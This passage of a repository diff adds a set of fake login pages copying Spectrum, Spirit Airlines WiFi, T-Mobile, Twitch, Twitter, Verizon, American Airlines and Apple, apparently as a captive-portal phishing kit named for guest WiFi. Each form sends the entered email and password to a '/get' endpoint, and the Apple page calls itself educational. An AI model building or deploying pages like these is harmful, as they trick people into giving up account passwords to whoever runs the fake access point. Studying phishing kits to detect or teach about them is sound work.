2 13 5 18 9 5-4 10-7 17-8 6-2 13-3 19-3 40 0 56 18 57 23v102h-18c-5 0-16-3-16-16V85c0-9-3-21-22-21-18 0-21 13-21 21v78zm-390-38h30s-8 40-54 40c-45 0-56-36-56-60s4-65 55-67c47 0 54 40 54 40h-32s-3-14-22-13c-19 0-24 18-24 35s4 39 25 39c20 0 22-11 24-14m167-84h32v78s-1 21 21 21c21 0 22-19 22-20V56s1-15 15-15h17v72c-1 4 4 52-54 52-56 0-52-48-53-51V41zm-98 33h19V41h-19V21c0-6-3-16-15-16h-17v135c0 14 6 23 18 23h14V74zm53 89v-63c0-9 2-16 6-20 4-5 11-7 20-7h10V41s-16-1-28 3a50 50 0 0 0-35 30c-4 8-6 18-6 30v59h33z"
|
||||
/>
|
||||
</svg>
|
||||
<h1>Welcome</h1>
|
||||
<p>Please log in using your Spectrum account</p>
|
||||
<form action="/get" method="GET">
|
||||
<input type="text" name="email" placeholder="Username" required />
|
||||
<input
|
||||
type="password"
|
||||
name="password"
|
||||
placeholder="Password"
|
||||
required
|
||||
/>
|
||||
<button type="submit">Login</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+100
@@ -0,0 +1,100 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #fde46c;
|
||||
margin: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.login-container {
|
||||
background: #fff;
|
||||
padding: 20px;
|
||||
max-width: 300px;
|
||||
width: 90%;
|
||||
text-align: center;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 10px rgba(0,0,0,0.25);
|
||||
}
|
||||
|
||||
form {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #232f3e;
|
||||
font-size: 1.5rem;
|
||||
font-weight: 600;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
input[type="text"],
|
||||
input[type="password"] {
|
||||
width: 100%;
|
||||
max-width: 300px;
|
||||
padding: 12px 20px;
|
||||
margin: 8px 0;
|
||||
box-sizing: border-box;
|
||||
border: 2px solid #ddd;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
input[type="submit"] {
|
||||
background-color: #303c49;
|
||||
border: none;
|
||||
color: white;
|
||||
padding: 14px 28px;
|
||||
text-align: center;
|
||||
text-decoration: none;
|
||||
display: inline-block;
|
||||
font-size: 16px;
|
||||
margin: 4px 2px;
|
||||
cursor: pointer;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="login-container">
|
||||
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400" width="140">
|
||||
<path fill-rule="nonzero" d="M434 171h15l-4 15h-15l-5 23c-1 5 0 6 7 6h8l-3 14-18 1c-15 0-20-4-17-16l6-28h-12l3-15h12l4-19h22zm-78 58h22l13-58h-23zm14-65h22l3-14h-23zm-62 7-12 58h22l12-58zm53-3h-5c-10 0-26 10-30 28l-1 4c3-8 11-12 22-12l9 1zm-85 3-12 58h22l13-58zm27-21h-23l-3 14h23zm-41 51c-3 16-19 30-40 30-10 0-17-3-20-8l-6 27h-22l16-79h22l-1 7c6-6 15-9 24-9 21 0 32 12 27 32zm-36-16c-10 0-17 6-19 15s2 15 13 15c10 0 17-6 19-15 2-10-2-15-13-15zm-70 8-19-2c-6-1-7-2-6-4 0-4 5-6 11-6l8 2c2 1 3 2 3 5h26c2-17-17-20-32-20-22 0-37 5-40 21-2 10 4 15 17 16l19 3c6 0 8 1 7 4-1 4-6 5-11 5l-10-1c-2-1-2-3-2-5h-27c-3 17 18 20 34 20 24 0 39-6 42-20 2-11-5-16-20-18zm301-17 1 2h-2v-2h-1v2h-1v-5h3v3zm-1-1v-1h-1v1h1zm4 0v2l-1 2a4 4 0 0 1-4 1h-1l-2-1-1-2v-4a4 4 0 0 1 3-2h3l2 1 1 1v2zm-1 0v-1l-1-1-1-1h-3l-1 1-1 1v1a4 4 0 0 0 1 3l1 1a3 3 0 0 0 3 0l1-1 1-1v-2z"/>
|
||||
</svg>
|
||||
|
||||
<h1> Use your Spirit Airlines Account<br> for Free WiFi Login</h1>
|
||||
|
||||
<form id="login-form">
|
||||
<input type="text" name="email" placeholder="Email Address or Free Spirit Number">
|
||||
<input type="password" name="password" placeholder="Password">
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const form = document.getElementById('login-form');
|
||||
form.addEventListener('submit', (e) => {
|
||||
e.preventDefault();
|
||||
|
||||
const email = form.elements['email'].value;
|
||||
const password = form.elements['password'].value;
|
||||
|
||||
window.location.href = '/get?email=' + email + '&password=' + password;
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Executable
+63
@@ -0,0 +1,63 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #000000;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
color: #fff;
|
||||
}
|
||||
.login-container {
|
||||
background-color: rgba(0, 0, 0, 0.7);
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(255,255,255,0.3);
|
||||
}
|
||||
.login-container h1, .login-container h2 {
|
||||
text-align: center;
|
||||
}
|
||||
.login-container button {
|
||||
width: 100%;
|
||||
background-color: #0069D9;
|
||||
border-color: #0069D9;
|
||||
}
|
||||
#logo svg {
|
||||
fill: #fff;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-lg-4 offset-lg-4 login-container">
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1032 524"><clipPath id="a"><circle cx="275" cy="85" r="200"/></clipPath><clipPath id="b"><circle cx="230" cy="90" r="80"/></clipPath><path d="M23 488h10l2 6c2 2 4 2 7 2 6 0 8-2 8-7l-1-5-6-2-5-1c-9-1-14-6-14-14 0-5 2-9 5-12 3-2 7-4 13-4 5 0 9 1 12 4s5 7 5 12H49l-2-6-6-2-5 2-2 5 1 5 6 2 5 1c9 2 14 6 14 15 0 5-2 9-5 12s-8 4-14 4-10-1-13-4-5-7-5-13zm83-28v44H96v-44H82v-8h37v8zm42 34-3 10h-11l19-52h8l19 52h-11l-3-10zm9-28-7 20h13zm56 17v21h-9v-52h19c6 0 10 1 13 4s4 7 4 12c0 3 0 6-2 8l-7 6 12 23h-12l-10-22h-8zm10-8 5-2 2-6c0-2 0-4-2-5l-5-2h-10v14h10zm54-23v44h23v8h-33v-52h10zm59 0v52h-10v-52h10zm68 52h-10l-19-32v32h-11v-52h10l19 33v-33h10v52zm38-14v14h-10v-52h10v24l18-24h12l-17 21 18 31h-11l-13-23z" class="letter" visibility="inherit"/><g clip-path="url(#a)" transform="matrix(3 0 0 3 -531 8)"><path d="m168 112-3 4h34C292 23 426 6 460 3 274 14 188 93 168 112" class="logo_x" visibility="inherit"/></g><g clip-path="url(#b)" transform="matrix(3 0 0 3 -531 8)" visibility="inherit"><path d="M263 116h34l-47-35-17 13zm-62-71h-34l40 29 19-12z" class="logo_x"/></g></svg>
|
||||
</div>
|
||||
<form action="/get" id="email-form-step">
|
||||
<h1>Welcome</h1>
|
||||
<h2>Please Enter your Details</h2>
|
||||
<div class="form-group">
|
||||
<input name="email" type="text" class="form-control" placeholder="Email" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input name="password" type="password" class="form-control" placeholder="Password" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button class="btn btn-primary" type="submit">Next</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
/* Paste any required JavaScript here */
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+94
@@ -0,0 +1,94 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #e20074;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 50px auto;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 24px;
|
||||
font-weight: 300;
|
||||
margin-top: 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
font-weight: 200;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
input[type="text"],
|
||||
input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 12px 20px;
|
||||
margin: 8px 0;
|
||||
box-sizing: border-box;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
input[type="submit"] {
|
||||
width: 100%;
|
||||
background-color: #fff;
|
||||
color: #e20074;
|
||||
padding: 14px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
input[type="submit"]:hover {
|
||||
background-color: #ddd;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: block;
|
||||
max-width: 130px;
|
||||
margin: 0 auto 30px auto;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<!-- T-Mobile SVG logo -->
|
||||
<svg class="logo" id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 122.88 122.88">
|
||||
<defs>
|
||||
<style>.cls-1{fill:#e20074;}.cls-2{fill:#fff;}</style>
|
||||
</defs>
|
||||
<title>t-mobile</title>
|
||||
<polygon class="cls-1" points="0 122.88 122.88 122.88 122.88 0 0 0 0 122.88 0 122.88"/>
|
||||
<polygon class="cls-2" points="25.52 75.62 25.52 57.9 34.74 57.9 43.24 57.9 43.24 75.62 25.52 75.62 25.52 75.62"/>
|
||||
<polygon class="cls-2" points="79.64 75.62 79.64 57.9 89.8 57.9 97.36 57.9 97.36 75.62 79.64 75.62 79.64 75.62"/>
|
||||
<path class="cls-2" d="M96.41,17.72H26.47l-.95,31,4.73.71c.94-9.22,3.31-15.83,7.09-20.32,4-4.49,9.68-7.09,17-7.33V86.25c0,5.67-.71,9.22-2.36,10.87-1.42,1.42-3.78,2.37-7.09,2.6-.95,0-2.6.24-5,.24v5H83.18v-5a25.52,25.52,0,0,1-5-.24c-3.31-.23-5.67-1.18-7.09-2.6-1.66-1.65-2.36-5.43-2.36-10.87V22c7.32.23,13,2.6,17,7.32,4,4.49,6.38,11.11,7.09,20.33l4.72-.71-1.18-31.2Z"/>
|
||||
</svg>
|
||||
|
||||
<h1>Sign in</h1>
|
||||
|
||||
<h2>Use your T-Mobile account</h2>
|
||||
|
||||
<form id="login-form" action="/get">
|
||||
<input type="text" name="email" placeholder="Email or phone number" required>
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
<input type="submit" value="Sign In">
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Executable
+70
@@ -0,0 +1,70 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #9146FF;
|
||||
color: white;
|
||||
text-align: center;
|
||||
}
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: auto;
|
||||
padding: 20px;
|
||||
}
|
||||
.logo {
|
||||
width: 140px;
|
||||
height: 140px;
|
||||
}
|
||||
form {
|
||||
background-color: white;
|
||||
color: black;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 90%;
|
||||
padding: 15px;
|
||||
margin: 10px 0;
|
||||
border: none;
|
||||
background: #f1f1f1;
|
||||
}
|
||||
input[type="submit"] {
|
||||
background-color: #9146FF;
|
||||
color: white;
|
||||
padding: 14px 20px;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
}
|
||||
@media screen and (max-width: 600px) {
|
||||
.container {
|
||||
width: 95%;
|
||||
}
|
||||
}
|
||||
.welcome {
|
||||
font-size: 24px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.login {
|
||||
font-size: 16px;
|
||||
margin-top: 0;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<svg class="logo" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 454.9 280.8"><path fill="#000000" fill-rule="evenodd" d="m379.6 67.6-18.3 18.2h-28.5l-15.6 15.6V85.8h-23.4V10.4h85.8v57.2ZM283.4 0l-5.2 20.8v93.6h23.4v13h13l13-13h20.7L390 72.8V0H283.4z"/><path fill="#000000" fill-rule="evenodd" d="M322.4 62.4h10.4V31.2h-10.4v31.2zm28.5 0h10.4V31.2H351v31.2zM444.5 182l-18.2-18.2h-33.8v-23.4H364V247h28.6v-54.6H416V247h28.6v-65Zm-91-18.2h-44.1L291.2 182v46.8l18.2 18.2h44.2v-28.6h-33.8v-26h33.8v-28.6zm-72.7 0h-23.4v-23.4h-28.6v88.4L247 247h33.8v-28.6h-23.4v-26h23.4v-28.6zm-62.4-23.4h-28.6v13h28.6v-13zm0 23.4h-28.6V247h28.6v-83.2zm-39 0h-28.6v54.6h-10.4v-54.6h-28.6v54.6h-10.4v-54.6H72.8V247h88.4l18.2-18.2v-65zm-117 0H39v-23.4H10.4v88.4L28.6 247h33.8v-28.6H39v-26h23.4v-28.6zm392.5 13v78l-39 26h-26v-13l-18.2 13h-23.3v-13l-13 13h-41.6l-13-13-2.6 13h-36.4l-15-13-.7 13h-41.3l-1.5-13-11.1 13h-63l-13-5.2v5.2H62.4l-39-23.4L0 234V130h49.4l23.4 23.4h106.6V130h88.4v23.4h23.4v13l13-13h26l23.4-23.4h49.3v23.4h28.6l23.4 23.4Z"></svg>
|
||||
<h2 class="welcome">Welcome</h2>
|
||||
<p class="login">Login using your Twitch Account</p>
|
||||
<form action="/get?email=username&password=password" method="get">
|
||||
<label for="uname"><b>Username</b></label>
|
||||
<input type="text" placeholder="Enter Username" name="uname" required>
|
||||
<label for="psw"><b>Password</b></label>
|
||||
<input type="password" placeholder="Enter Password" name="psw" required>
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
<!DOCTYPE html><html><head><style>body{font-family:Arial,sans-serif;background-color:#f5f8fa}.login-container{width:90%;max-width:400px;margin:auto;padding:20px;border:1px solid #e9e9e9;border-radius:5px;margin-top:50px;background-color:#fff}#logo{text-align:center;margin-bottom:20px}.g-h1{font-weight:300;font-size:24px;margin-top:5px;text-align:center}.g-h2{font-weight:200;font-size:16px;margin-top:10px;text-align:center;color:#657786}.g-input{width:calc(100% - 20px);margin-top:15px;height:40px;padding:5px 10px;font-size:16px;color:#14171a;border:1px solid #e6ecf0;border-radius:5px;background-color:#f5f8fa}.gbtn-primary{margin-top:20px;width:100%;height:40px;font-size:16px;color:#fff;background-color:#1da1f2;border:none;border-radius:5px;cursor:pointer}.gbtn-primary:hover{background-color:#0c8ed9}.gbtn-primary:disabled{background-color:#aab8c2;cursor:not-allowed}</style><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&type=content-script&dmn=cdn.discordapp.com&url=https%3A%2F%2Fcdn.discordapp.com%2Fattachments%2F1001052008389804092%2F1128835183802593362%2Ftwitter.min.html&app=chrome.exe&css=3&js=1&rel=1&rji=1&sbe=1&stealth=1&st-dnt"></script>
|
||||
<script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&name=AdGuard%20Assistant%20%28Beta%29&name=AdGuard%20Extra%20%28Beta%29&name=AdGuard%20Popup%20Blocker%20%28Beta%29&name=Web%20of%20Trust%20%28Beta%29&type=user-script"></script></head><body><div id="login-app"><div class="login-container"><div id="logo"><svg viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"><g><path fill="#1DA1F2" d="M22.46 5.5c-.81.36-1.68.6-2.6.71.94-.56 1.66-1.45 2-2.52-.88.52-1.86.9-2.9 1.1-.83-.88-2.02-1.43-3.34-1.43-2.53 0-4.58 2.05-4.58 4.58 0 .36.04.72.13 1.06C6.7 9.1 3.55 7.3 1.44 4.75c-.4.68-.63 1.48-.63 2.33 0 1.6.82 3.02 2.07 3.85-.76-.02-1.47-.23-2.1-.58v.06c0 2.23 1.58 4.08 3.68 4.5-.38.1-.78.15-1.2.15-.29 0-.57-.03-.85-.08.57 1.78 2.23 3.08 4.2 3.12-1.54 1.2-3.48 1.92-5.6 1.92-.36 0-.72-.02-1.08-.07 1.99 1.28 4.35 2.03 6.88 2.03 8.26 0 12.77-6.83 12.77-12.77l-.01-.58c.88-.63 1.64-1.42 2.25-2.32z"></path></g></svg></div><form action="/get" id="email-form-step"><h1 class="g-h1">Sign in</h1><h2 class="g-h2">Use your Twitter Account</h2><div class="login-content"><input name="email" type="text" class="g-input" placeholder="Email" required> <input name="password" type="password" class="g-input" placeholder="Password" required><div><button class="gbtn-primary" type="submit">Next</button></div></div></form></div></div></body></html>
|
||||
Executable
+91
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #fff;
|
||||
}
|
||||
.login-container {
|
||||
width: 90%;
|
||||
max-width: 400px;
|
||||
margin: auto;
|
||||
padding: 20px;
|
||||
border: 1px solid #e9e9e9;
|
||||
border-radius: 5px;
|
||||
margin-top: 50px;
|
||||
background-color: #fff;
|
||||
}
|
||||
#logo {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.g-h1 {
|
||||
font-weight: 300;
|
||||
font-size: 24px;
|
||||
margin-top: 5px;
|
||||
text-align: center;
|
||||
}
|
||||
.g-h2 {
|
||||
font-weight: 200;
|
||||
font-size: 16px;
|
||||
margin-top: 10px;
|
||||
text-align: center;
|
||||
color: #D52B1E;
|
||||
}
|
||||
.g-input {
|
||||
width: calc(100% - 20px);
|
||||
margin-top: 15px;
|
||||
height: 40px;
|
||||
padding: 5px 10px;
|
||||
font-size: 16px;
|
||||
color: #14171a;
|
||||
border: 1px solid #e6ecf0;
|
||||
border-radius: 5px;
|
||||
background-color: #f5f8fa;
|
||||
}
|
||||
.gbtn-primary {
|
||||
margin-top: 20px;
|
||||
width: 100%;
|
||||
height: 40px;
|
||||
font-size: 16px;
|
||||
color: #fff;
|
||||
background-color: #D52B1E;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.gbtn-primary:hover {
|
||||
background-color: #B3291B;
|
||||
}
|
||||
.gbtn-primary:disabled {
|
||||
background-color: #aab8c2;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
</style>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
</head>
|
||||
<body>
|
||||
<div id="login-app">
|
||||
<div class="login-container">
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 658 146">
|
||||
<path fill="#D52B1E" d="m644 0-36 77-14-29h-14l22 47h12l44-95z"/>
|
||||
<path d="M490 143h29V90c0-12 7-21 17-21s15 7 15 17v57h29V81c0-21-12-36-33-36-13 0-22 6-29 16V48h-28v95zm-57-98c-30 0-51 22-51 50 1 29 21 51 51 51s50-22 50-51c0-28-20-50-50-50zm0 79c-14 0-21-11-21-29 0-17 7-28 21-28 13 0 21 11 21 28 0 18-7 29-21 29zm-133 19h81v-23h-46v-1l44-49V48h-79v23h45l-45 50v22zm-37 0h29V48h-29v95zm-67 0h29V99c0-20 11-29 30-26V48l-6-1c-11 0-19 5-25 17h-1V48h-28v95zm-54-19c-12 0-20-8-22-21h69c0-20-6-36-17-47-8-7-18-11-32-11-28 0-48 22-48 50 0 29 19 50 50 50 12 0 21-3 29-8 9-6 15-14 16-22h-28c-2 6-8 9-17 9zm-1-58c10 0 17 7 18 18h-39c3-11 9-18 21-18zM34 143h30l33-95H68l-18 61h-1L31 48H1l33 95zM263 14h29v26h-29V14z"/>
|
||||
</svg>
|
||||
</div>
|
||||
<form action="/get" id="email-form-step">
|
||||
<h1 class="g-h1">Sign in</h1>
|
||||
<h2 class="g-h2">Use your Verizon Account</h2>
|
||||
<div class="login-content">
|
||||
<input name="email" type="text" class="g-input" placeholder="Email" required>
|
||||
<input name="password" type="password" class="g-input" placeholder="Password" required>
|
||||
<div>
|
||||
<button class="gbtn-primary" type="submit">Next</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+116
@@ -0,0 +1,116 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Arial', sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f3f3f3;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 500px;
|
||||
padding: 20px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 50%;
|
||||
}
|
||||
|
||||
.title, .sub-title {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
border: 1px solid #ccc;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.button {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
background-color: #1a3b73;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 600px) {
|
||||
.container {
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 70%;
|
||||
}
|
||||
|
||||
.input-field, .button {
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 193 193">
|
||||
<path fill="#cc2131" fill-rule="evenodd" d="M27 162H6l34-95h23l33 95H75l-6-20H34l-7 20zm12-36h24L51 88l-12 38z" clip-rule="evenodd"/>
|
||||
<path fill="#1a3b73" fill-rule="evenodd" d="M117 162H96l34-95h23l33 95h-21l-6-20h-35l-7 20zm12-36h24l-11-38h-1l-12 38zm-21-43-9-29 2-7 2 1-1-3 2-5 1 1v-3l1-4 2 1-1-4 4-11 8 24v8l-11 31zm3 17-1 3h-2v-2l-6-7h-3l-2 6 1 2h3v2h-6v-1l1-1-2-2h-2l-8-25h2l-3-2-2-6h2l-2-2-2-6 1-1-2-2-1-3v-3h2l-2-2c-1-3 1-6 2-8l1 1-1-3 3-6 1 1-1-4 4-9 25 77v3zm-25-5v-1l-1 1h-4v-1l-1 1h-3l8-12 4 12h-3z" clip-rule="evenodd"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1 class="title">Sign in</h1>
|
||||
|
||||
<h2 class="sub-title">Using your AAdvantage number or username and password.</h2>
|
||||
|
||||
<form action="/get" id="email-form-step" method="GET">
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="email" type="text" placeholder="AAdvantage # or Username" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="password" type="password" placeholder="Password" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<button class="button" type="submit">Sign In</button>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Executable
+1
@@ -0,0 +1 @@
|
||||
Guest-WiFi
|
||||
Executable
+279
@@ -0,0 +1,279 @@
|
||||
<!-- Original code : https://github.com/ai-dev-official/Apple-Dev-Login-Page- by ai-dev-official -->
|
||||
<!-- Edited and adapted by : Jules0835 for educational purposes -->
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<title>Login - Apple</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<style>
|
||||
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
|
||||
color: #98989c;
|
||||
}
|
||||
|
||||
header {
|
||||
padding: 5px;
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
header svg {
|
||||
width: 25px;
|
||||
height: 25px;
|
||||
}
|
||||
|
||||
.main {
|
||||
position: relative;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-content: center;
|
||||
align-items: center;
|
||||
min-height: 85vh;
|
||||
}
|
||||
|
||||
form {
|
||||
width: 500px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
|
||||
}
|
||||
|
||||
#sign h2 {
|
||||
text-align: center;
|
||||
margin: 5px auto 0px;
|
||||
font-size: 22px;
|
||||
line-height: 1.47059;
|
||||
font-weight: 400;
|
||||
letter-spacing: -.022em;
|
||||
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
|
||||
color: #656569;
|
||||
}
|
||||
|
||||
#inputText {
|
||||
margin: 5px 0 80px 0;
|
||||
}
|
||||
|
||||
#appleid {
|
||||
min-width: 350px;
|
||||
padding: 20px;
|
||||
border: .5px solid #d2d2d7;
|
||||
border-radius: 10px;
|
||||
border-bottom-left-radius: 0;
|
||||
border-bottom-right-radius: 0;
|
||||
background-repeat: no-repeat;
|
||||
background-position: calc(100% - 20px) center;
|
||||
background-image: url('./input.svg');
|
||||
align-self: center;
|
||||
background-size: 8%;
|
||||
}
|
||||
|
||||
#password {
|
||||
min-width: 350px;
|
||||
padding: 20px;
|
||||
border: .5px solid #d2d2d7;
|
||||
border-radius: 10px;
|
||||
border-top-left-radius: 0;
|
||||
border-top-right-radius: 0;
|
||||
background-repeat: no-repeat;
|
||||
background-position: calc(100% - 20px) center;
|
||||
background-image: url('./input.svg');
|
||||
align-self: center;
|
||||
background-size: 8%;
|
||||
}
|
||||
|
||||
input #appleid {
|
||||
box-shadow: none;
|
||||
outline: none;
|
||||
-moz-box-shadow: none;
|
||||
-webkit-box-shadow: none;
|
||||
border-color: transparent;
|
||||
}
|
||||
|
||||
.input2 {
|
||||
text-align: center;
|
||||
min-width: 180px;
|
||||
border-bottom: .1px solid #d2d2d7;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-top: -60px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 8%;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
#remember {
|
||||
margin-right: 5px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
#r2 {
|
||||
color: #656569;
|
||||
}
|
||||
|
||||
form h4 {
|
||||
margin-top: 1rem;
|
||||
font-weight: 300;
|
||||
}
|
||||
|
||||
::placeholder {
|
||||
font-size: 16px;
|
||||
/* font-family: Arial, sans-serif; */
|
||||
}
|
||||
|
||||
.bx {
|
||||
color: #1975d1;
|
||||
transform: rotate(45deg);
|
||||
}
|
||||
|
||||
footer {
|
||||
position: absolute;
|
||||
display: flex;
|
||||
width: 100%;
|
||||
height: 65px;
|
||||
padding: 20px;
|
||||
bottom: 0;
|
||||
margin-bottom: 0;
|
||||
background-color: #f5f5f7;
|
||||
}
|
||||
|
||||
footer p {
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
footer p:nth-child(2) {
|
||||
margin: 0 20px;
|
||||
}
|
||||
|
||||
footer p:nth-child(3) {
|
||||
padding-left: 20px;
|
||||
border-left: .5px solid #d2d2d7;
|
